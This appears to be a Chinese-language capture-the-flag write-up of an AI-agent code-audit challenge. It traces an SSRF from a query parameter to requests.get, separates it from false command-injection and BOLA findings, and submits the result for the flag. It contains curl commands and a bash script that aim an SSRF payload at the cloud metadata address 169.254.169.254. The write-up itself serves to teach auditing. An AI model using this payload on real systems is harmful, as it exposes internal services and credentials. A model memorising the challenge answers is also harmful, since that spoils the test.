| 项目 | 内容 |
|---|---|
| 平台题名 | L杯-ai-02 AuditForge |
| 分类 / 难度 | AI Agent / Hard(分值 450) |
| 入口 | http://<host>/(审计控制台),实际交互面是 /tool/* |
| 提交物 | flag{...} |
一、这题在考什么
给定一个仓库,要求找出一个真实可利用的高危问题,并且:
- 能把它从此前看似高危的假发现里区分出来;
- 用
run_test拿到实际影响证据(不是「代码看起来有问题」); - 用
verify提交结构化结论,字段精确到文件:行号。
一句话:不是关键词匹配,是可达性分析。
二、摸接口
curl -s http://<host>/api/tools
| 工具 | 入参 | 作用 |
|---|---|---|
repo.tree |
— | 列全部文件 |
repo.search |
query |
全文检索,返回 path / line / text |
repo.read |
path |
读文件全文 |
http.request |
method / path |
对被测应用发请求(验证影响) |
run_test |
name |
跑预置检测(ssrf_check / command_injection_check / bola_check) |
verify |
finding |
提交结论 |
约束里写着 max_tool_calls: 40——所以别盲扫,要有策略地搜。
三、第 1 步:看结构
curl -s -X POST http://<host>/tool/repo.tree -H 'Content-Type: application/json' -d '{}'
{"files":[
"Dockerfile","NOTICE.txt","README.md","app.py",
"backend/api/routes.py","backend/api/server.py","backend/auth/session.py",
"backend/logging/audit.py",
"backend/services/convert_preview.py",
"backend/services/report_preview.py",
"backend/services/user_export.py",
"config/settings.yml","nginx.conf","tests/test_security.py"
]}
规模很小,14 个文件。services/ 下三个文件(convert_preview / report_preview / user_export)是三个嫌疑点,正好对应 run_test 的三个检测名。
四、第 2 步:按 sink 类型定向检索
搜 requests.get(SSRF 的典型 sink)
curl -s -X POST http://<host>/tool/repo.search -H 'Content-Type: application/json' \
-d '{"query":"requests.get"}'
{"hits":[{"path":"backend/services/report_preview.py","line":6,
"text":" response = requests.get(url, timeout=5)"}]}
全仓库只有一处,而且是唯一一处外部请求。命中率极高。
搜 subprocess(命令注入的典型 sink)
curl -s -X POST http://<host>/tool/repo.search -H 'Content-Type: application/json' \
-d '{"query":"subprocess"}'
{"hits":[
{"path":"backend/services/convert_preview.py","line":1,"text":"import subprocess"},
{"path":"backend/services/convert_preview.py","line":7,
"text":" return subprocess.run(['convert', safe_name, '/tmp/out.png'], shell=False, check=False)"}
]}
这条线索查下去是空的,下一节说明为什么。
五、第 3 步:读源码做可达性分析
后端路由入口
curl -s -X POST http://<host>/tool/repo.read -H 'Content-Type: application/json' \
-d '{"path":"backend/api/routes.py"}'
from backend.services.report_preview import fetch_preview
from backend.services.user_export import export_report
from backend.auth.session import require_session
def handle_request(path, query, session):
if path == '/api/report/preview':
return fetch_preview(query.get('url', [''])[0]) # ← 第 6 行
if path == '/api/export':
return export_report(query.get('id', [''])[0], session)
return {'status': 404}
source(用户可控输入)落在 routes.py 第 6 行:query.get('url', ...) 直接取自 query string,无任何校验。
sink 实现
curl -s -X POST http://<host>/tool/repo.read -H 'Content-Type: application/json' \
-d '{"path":"backend/services/report_preview.py"}'
import requests
def fetch_preview(url: str):
# Security note: the URL comes directly from the authenticated analyst.
# The service must render remote previews for the portal.
response = requests.get(url, timeout=5) # ← 第 6 行
return {'status': response.status_code, 'body': response.text[:4096]}
sink 在 report_preview.py 第 6 行:requests.get(url, timeout=5)。
数据流结论
GET /api/report/preview?url=<攻击者任意 URL>
│
▼ routes.py:6 query['url'] 未校验
▼ report_preview.py:6 requests.get(url) 无 allowlist / 无目标校验
▼
服务端发出任意出站请求 → 可打内网 / 云元数据
中间没有 allowlist、没有 scheme 限制、没有私网地址过滤、没有 URL 解析后复核。这就是一条完整的 SSRF。
六、第 4 步:在真机上证明影响
只看代码不够——要拿到实际请求证据:
curl -s -X POST http://<host>/tool/http.request -H 'Content-Type: application/json' \
-d '{"method":"GET","path":"/api/report/preview?url=http://169.254.169.254/latest/meta-data/"}'
{
"status": 200,
"evidence": "internal-metadata reachable",
"body": "instance-id: auditforge-01\\nrole: report-worker"
}
服务端真的把请求打到了 169.254.169.254(云元数据地址)并且把内容回显了。 这一步把「代码看起来能打」升级成「确实打到了」。
七、第 5 步:用预置检测逐个证伪
这是本题最关键的一步——三个检测里只有一个 passed: true。
# 1) SSRF
curl -s -X POST http://<host>/tool/run_test -H 'Content-Type: application/json' -d '{"name":"ssrf_check"}'
{"name":"ssrf_check","passed":true,
"evidence":{"finding":"SSRF-01","source":"backend/api/routes.py:6",
"sink":"backend/services/report_preview.py:6",
"endpoint":"/api/report/preview",
"impact":"Server-side request forgery; ..."*/>}}
# 2) 命令注入
curl -s -X POST http://<host>/tool/run_test -H 'Content-Type: application/json' -d '{"name":"command_injection_check"}'
{"name":"command_injection_check","passed":false,
"reason":"shell=False and UUID-normalized filenames prevent shell interpretation"}
# 3) 越权(BOLA)
curl -s -X POST http://<host>/tool/run_test -H 'Content-Type: application/json' -d '{"name":"bola_check"}'
{"name":"bola_check","passed":false,
"reason":"owner is checked against authenticated session"}
两个假发现为什么假
convert_preview.py 的 subprocess.run —— 不是命令注入:
def convert(filename: str):
safe_name = filename.replace('..', '')
return subprocess.run(['convert', safe_name, '/tmp/out.png'], shell=False, check=False)
shell=False+ 列表形式的 argv:safe_name是作为一个独立参数传进去的,;|$()&&都不会被 shell 解释,只会被当成文件名的一部分。- 上传层把用户文件名统一成 UUID,
filename本身就没有可控性。 filename.replace('..','')只是路径穿越的额外防线,在这条链上不是关键——关键是没有 shell。
→ 典型的「看到 subprocess 就报命令注入」的误报。
user_export.py 的导出 —— 不是 BOLA:
def export_report(report_id, session):
require_session(session)
owner = lookup_owner(report_id)
if owner != session.get('user_id'):
return {'status': 403}
return {'status': 200, 'report_id': report_id}
先有 require_session,再把 owner 与 session['user_id'] 比对,不匹配就 403。对象级授权是实现了的。
→ 典型的「看到 report_id 来自用户就报 IDOR」的误报。
八、第 6 步:提交结构化结论
字段必须与检测返回的 evidence 逐字一致,包括 impact 那段英文句子:
curl -s -X POST http://<host>/tool/verify \
-H 'Content-Type: application/json' \
-d '{
"finding": {
"finding": "SSRF-01",
"source": "backend/api/routes.py:6",
"sink": "backend/services/report_preview.py:6",
"endpoint": "/api/report/preview",
"impact": "Server-side request forgery; attacker-controlled URL is fetched by the server without destination validation."
}
}'
{"status":"verified","flag":"flag{...}"}
被拒时会回 {"status":"rejected","expected_fields":[...]},可以据此核对缺哪个字段。
九、一条命令走完
#!/usr/bin/env bash
B=${1:-http://<host>}
j() { curl -s -X POST "$B$1" -H 'Content-Type: application/json' -d "$2"; }
j /tool/repo.tree '{}' > /dev/null
j /tool/repo.search '{"query":"requests.get"}' > /dev/null
j /tool/repo.read '{"path":"backend/api/routes.py"}' > /dev/null
j /tool/repo.read '{"path":"backend/services/report_preview.py"}' > /dev/null
j /tool/http.request '{"method":"GET","path":"/api/report/preview?url=http://169.254.169.254/latest/meta-data/"}' > /dev/null
j /tool/run_test '{"name":"ssrf_check"}' > /dev/null
j /tool/verify '{"finding":{"finding":"SSRF-01",
"source":"backend/api/routes.py:6",
"sink":"backend/services/report_preview.py:6",
"endpoint":"/api/report/preview",
"impact":"Server-side request forgery; attacker-controlled URL is fetched by the server without destination validation."*/>}}' \
| grep -oE 'flag\{[^}]+\}'
总共 7 次调用,远低于 40 次上限。
十、坑点清单
| 坑 | 表现 | 应对 |
|---|---|---|
| 报命令注入 | subprocess 命中很诱人 |
shell=False + 列表 argv + UUID 归一化 → 假 |
| 报越权 | report_id 来自用户 |
require_session + owner 比对 → 假 |
| 行号写错 | verify 返回 rejected |
行号是文件内的物理行号,routes.py:6、report_preview.py:6 |
| impact 抄漏 | 少一个分号 / 大小写不同 | 直接从 ssrf_check 的 evidence 里整段复制 |
| 只看代码不验证 | 不知道真的能打 | 必须过 /tool/http.request 拿 internal-metadata reachable |
| 盲扫 40 次上限 | 调用数耗尽 | 用 repo.search 按 sink 类型定向搜,一次命中 |
十一、知识点与思路沉淀
- 审计的第一步是找 sink,不是读全仓。按
requests.get/subprocess/eval/pickle.loads/open这类 sink 定向搜,比逐个文件读快一个数量级。 - source → sink 的可达性是唯一判据。代码里有 sink 不等于有漏洞;代码里没有 allowlist 才是漏洞。
shell=False+ 列表 argv ≠ 安全。它防的是 shell 元字符,不防「参数被当成选项」这类注入(比如convert的-write参数)。所以严格说这个点是「可利用性低」而非「绝对安全」——题目的判定(passed: false)是站在当前这条调用链上的。- 「假发现」是真实代码审计的主战场。自动化扫描器 90% 的报告都是这类东西;能证伪才算会审计。
max_tool_calls是一种隐性约束:Agent 必须规划,不能穷举。这跟真实审计里「预算有限、先看哪里」是一样的。
十二、真实环境验证
一次性容器实测:
$ run_test ssrf_check → passed: true
$ run_test command_injection_check → passed: false (shell=False and UUID-normalized filenames ...)
$ run_test bola_check → passed: false (owner is checked against authenticated session)
$ http.request preview?url=http://169.254.169.254/...
→ {"evidence":"internal-metadata reachable", ...}
$ verify {"finding":{...*/>}} → {"status":"verified","flag":"flag{local_verify_ai02}"}
实际比赛环境里 flag 由平台注入,值不同、格式一致。